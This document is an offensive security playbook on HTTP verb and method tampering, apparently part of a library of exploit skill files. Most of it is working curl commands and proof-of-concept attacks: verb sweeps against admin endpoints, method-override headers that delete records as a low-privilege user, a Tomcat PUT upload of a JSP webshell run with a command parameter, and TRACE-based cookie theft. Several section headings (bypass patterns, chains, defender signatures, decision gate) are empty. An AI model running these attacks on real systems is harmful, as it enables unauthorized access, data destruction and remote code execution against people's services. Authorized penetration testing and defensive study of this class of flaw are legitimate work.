Verb Tampering

HTTP Verb / Method Tampering

Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.

1. Why it works

• Apache/nginx Limit/LimitExcept rules in .htaccess often list only GET POST. Any other verb is unrestricted.
• Tomcat / JSP <security-constraint><http-method>GET</http-method> only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family).
• API gateways enforce method-specific policies; the upstream service treats verbs identically.
• Spring @RequestMapping without method= accepts every verb. @GetMapping/@PostMapping constrain, but generic mappings do not.
• Express.js app.all(path, handler) answers every method.
• Framework method-override middleware (methodOverride in Express, Rails _method=DELETE, X-HTTP-Method-Override in many) lets a POST become a DELETE after auth runs.
• Many WAFs ship rule sets keyed on GET/POST only.

2. Detection — does the endpoint answer non-standard verbs?

# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
  code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
  printf '%-10s -> %s\n' "$m" "$code"
done

# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
  curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.

HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.

# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"

3. Method-override headers

The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).

# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
  curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
    -o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done

# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=DELETE' -b "session=$LOWPRIV"

# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"

4. Bypass patterns

5. Exploit PoCs

5.1 Admin action via HEAD bypass

# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"

5.2 Method-override DELETE

# Low-priv user can POST. Override flips to DELETE on a record they shouldn't touch.
curl -sk -X POST "http://<TARGET>/api/v1/users/9001" \
  -H 'X-HTTP-Method-Override: DELETE' \
  -H "Authorization: Bearer $LOWPRIV_JWT" -i

5.3 Tomcat PUT → JSP webshell (CVE-2017-12615 family)

curl -sk -X PUT "http://<TARGET>/uploads/shell.jsp/" \
  --data-binary @shell.jsp -H 'Content-Type: application/octet-stream' -i
# Trailing slash on the URI defeats the JSP filter on vulnerable Tomcats.
curl -sk "http://<TARGET>/uploads/shell.jsp?cmd=id"

5.4 OPTIONS leak + CORS pivot

curl -sk -X OPTIONS "http://<TARGET>/api/admin" -i | grep -iE 'allow|access-control-allow-methods'
# Use any listed method that bypasses auth in step 2.

5.5 TRACE / XST

curl -sk -X TRACE "http://<TARGET>/" -H 'X-Stolen: cookie-via-XSS' -i
# If TRACE echoes the request, XST chain with reflected XSS can read HttpOnly cookies.

5.6 Arbitrary verb

# Some servers route ANY method to the same handler — including FOO/BAR.
curl -sk -X FOO "http://<TARGET>/admin/users" -i

6. Chains

7. Tools

• Burp Suite — Repeater "Change request method", Intruder verb-payload list, HTTP Method Interchange extension.
• nuclei -t http/misconfiguration/http-method-tampering* / http/misconfiguration/trace-method.yaml.
• nikto -Tuning 6 — method/file checks.
• httpx -methods GET,POST,PUT,DELETE,PATCH,OPTIONS,HEAD,TRACE -path /admin -mc 200,302.
• davtest / cadaver for WebDAV.
• ffuf -X PATCH etc. — fuzz every endpoint with each method.

8. Detection signatures (defenders)

Remediation: enforce auth before method routing; treat HEAD as GET for auth purposes; ignore method-override headers unless explicitly required; allowlist methods per route (405 everything else); disable TRACE/TRACK/unused WebDAV verbs at the server.

9. Decision gate

Cross-references

• BFLA / object-level auth: skills/standard/exploit/web/bfla/SKILL.md
• Mass-assignment: skills/standard/exploit/web/mass-assignment/SKILL.md
• HPP (sister parser-discrepancy class): skills/standard/exploit/web/hpp/SKILL.md
• WAF bypass: skills/standard/exploit/web/waf-bypass/SKILL.md
• File upload / WebDAV RCE: skills/standard/exploit/web/file-upload/SKILL.md